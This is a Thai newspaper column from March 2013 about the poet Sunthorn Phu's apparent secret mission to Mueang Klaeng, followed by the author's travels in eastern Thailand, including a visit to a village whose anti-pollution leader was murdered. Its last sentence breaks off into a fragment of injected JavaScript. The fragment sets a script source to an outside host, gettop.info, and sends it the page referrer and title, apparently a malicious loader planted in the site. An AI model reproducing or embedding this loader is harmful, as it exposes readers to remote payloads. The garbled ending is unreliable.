มติชนรายวัน ฉบับประจำวันศุกร์ที่ 8 มีนาคม 2556

 

          สุนทรภู่ไปราชการลับถึงเมืองแกลง (แล้วแต่งนิราศเมืองแกลง) อันเนื่องจากพระเจ้าตากปราบปรามไม่สำเร็จต่อ“อ้ายเหล่าร้าย”ซึ่งเป็นพวกแข็งข้อชายฝั่งทะเลตะวันออก

          ในพระราชพงศาวดารเรียกพวกแข็งข้อว่า“อ้ายเหล่าร้าย” มีผู้ตั้งตนเป็นนาย 2 คน ชื่อ ขุนราม กับ หมื่นซ่อง มีสำนักซ่องสุมอยู่ทางบ้านประแส, บ้านไร่, บ้านกร่ำ (ตร่ำ), เมืองแกลง ปัจจุบันอยู่ใน จ. ระยอง

          เมื่อศึกด้านตะวันตกเบาลงในปลายแผ่นดิน ร.1 จึงโปรดให้กรมพระราชวังหลังคิดเกลี้ยกล่อมพวก“อ้ายเหล่าร้าย”เหล่านั้น

          วังหลังให้บิดาสุนทรภู่ (ซึ่งเป็นทหารใกล้ชิด) ออกบวชไปจำพรรษาอยู่ทางเมืองแกลง เพื่อชักจูงเกลี้ยกล่อม“อ้ายเหล่าร้าย”และพวกอื่นๆที่มีมากอยู่ท้องที่ใกล้เคียงให้สวามิภักดิ์

          พ.ศ. 2349 ปลายแผ่นดิน ร.1 สุนทรภู่อายุราว 20 ปี แต่งนิราศเมืองแกลง เมื่อมีรับสั่งให้ไปราชการลับ หาบิดาซึ่งบวชเป็นภิกษุอยู่ที่วัดบ้านกร่ำ เมืองแกลง ดังในนิราศมีความวรรคหนึ่งว่า “แม้เจ้านายท่านไม่ใช้แล้วไม่มา” แสดงว่าสุนทรภู่ไปเมืองแกลงตามรับสั่งทางราชการลับ ไม่ใช่งานส่วนตัว และไม่ใช่ไปเที่ยวหรือไปเยี่ยมบิดา

          ประเด็นสำคัญที่เขียนมานี้ อ. ล้อม เพ็งแก้ว อธิบายไว้ แล้วผมยกไปใช้งานเมื่อเขียนเรื่องสุนทรภู่ เกิดวังหลัง ผู้ดีบางกอก ว่า บิดาสุนทรภู่เป็นทหารนักรบในกรมพระราชวังหลัง ก่อนสุนทรภู่เกิด 1 ปี ได้ออกศึกคราวสงครามเก้าทัพ เมื่อต้นแผ่นดินรัชกาลที่ 1 พ.ศ. 2328 รบราฆ่าฟันข้าศึกล้มตายจำนวนมาก กรมพระราชวังหลังจึงให้บิดาสุนทรภู่บวชแทนเพื่อล้างกรรมตามประเพณีหลังเสร็จศึก

          การบวชของบิดาสุนทรภู่เกี่ยวข้องกับราชการไม่ทางตรงก็ทางอ้อม อยู่ในสายตาของรัฐสมัยนั้นตลอดเวลา และอาจได้รับมอบหมายภารกิจอย่างใดอย่างหนึ่งจากรัฐด้วย

          ฉะนั้น การบวชของบิดาสุนทรภู่จึงไม่เกี่ยวกับเรื่องส่วนตัวที่ว่าหย่าร้าง แต่บวชเป็นทางราชการ และไม่ได้หย่าร้างกับมารดาสุนทรภู่

          บ้านกร่ำ เมืองแกลง แม้ไม่เกี่ยวกับถิ่นกำเนิดสุนทรภู่ แต่ก็เกี่ยวข้องกับราชการลับที่สุนทรภู่ทำสนองราชการ แล้วแต่งนิราศเมืองแกลง

          หลง – ปรามินทร์ เครือทอง กับ อี๊ด – เอมอร ส่องสว่าง วางแผนเส้นทางทัวร์ศิลปวัฒนธรรมเกี่ยวกับเส้นทางพระเจ้าตาก ชวนผมไปถกเรื่องนี้ที่ลานอนุสาวรีย์สุนทรภู่ (อ. แกลง จ. ระยอง) เมื่อบ่ายวันเสาร์ที่ 2 มี.ค. ผ่านมา กว่าจะกลับก็ค่ำมืด

          เดินทางครั้งนี้ได้รู้ความจริงว่าปริมาณรถแล่นไปมามากจริงๆ ตั้งแต่มอเตอร์เวย์ จนบ้านบึง (ชลบุรี) ถึง  อ. แกลง ทั้งไปและกลับ ไม่นึกว่าจะแน่นนับคับคั่งขนาดนี้ทั้งๆมีถนนเพิ่มหลายสายราวใยแมงมุม(ขยุ้มไข่ไต่ตีอก)

          รุ่งขึ้นวันอาทิตย์ที่ 3 มี.ค. ลงคะแนนเลือกผู้ว่าฯ กทม. ตั้งแต่แรกเปิดหีบ หลังจากนั้นนั่งรถตู้มติชนไปโคกพนมดี (อ. พนัสนิคม ชลบุรี) เพราะมีผู้บอกว่า รมต. วัฒนธรรมกำลังเร่งให้ทำแหล่งท่องเที่ยว ฟังแล้วเสียวสยองพองขน

          ต้องฝ่าฝนฤดูร้อนตั้งแต่ออกจากฝั่งธนบุรี ไปขึ้นทางด่วนยมราช ถึงพ้นฝน

          ไปโดนฝนแสนห่าอีกทีเมื่อออกจากโคกพนมดี ขึ้นเส้นทาง 304 จะไปบ้านหนองแหน (ต. หนองแหน อ. พนมสารคาม จ. ฉะเชิงเทรา) ที่“ผู้ใหญ่จบ” (ประจบ เนาวโอภาส) ผู้นำชุมชนถูกลอบยิงตายเมื่อเร็วๆนี้ หลังเป็นผู้นำเคลื่อนไหวต่อต้านการลักลอบทิ้งขยะสารพิษกากอุตสาหกรรมบริเวณตำบลหนองแหน จนชาวบ้านเดือดร้อนต่อสภาพแวดล้อมเสื่อมโทรมด้วยของบูดเน่าทำน้ำเสียแล้วส่งกลิ่นหมกเหม็นเป็นที่ทรมาน

          ต้องจอดรถตู้เข้าข้างทางตรงบ้านหัวสำโรงก่อนถึงบ้านหนองแหน เพราะฝนฤดูร้อนตกเป็นฝนแสนห่ามหึมาราวน้ำป่าหลากทะลักสองข้างทาง มองไม่เห็นถนนหนทางข้างหน้า

          นานเป็นชั่วโมง พอฝนซาก็ค่อยๆเขยิบขึ้นถนนเลียบคลองชลประทานไปบ้านหนองแหน เหมือนตาบอดคลำช้างอย่างมะงุมมะงาหราบนถนนเปียกน้ำลื่นไถลเหมือนพระมะเหลเถไถมะไหลถา

          ไปถึงวัดหนองแหนกลางหมู่บ้าน เห็นคราบน้ำนองลานวัดที่ติดตลาดเย็นกำลังวายเพราะขายไม่ได้ แม่ค้าบ่นจ้าละหวั่น

          ผมเลยซื้อแกงลาวยอดหวายกลับกรุงเทพฯ เพราะตั้งใจจะลงเดินสำรวจหมู่บ้านก็ทำไม่ได้ ชุ่มฉ่ำเปียกปอนมะลอกมะแลกหมดแล้ว กลับดีกว่า} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;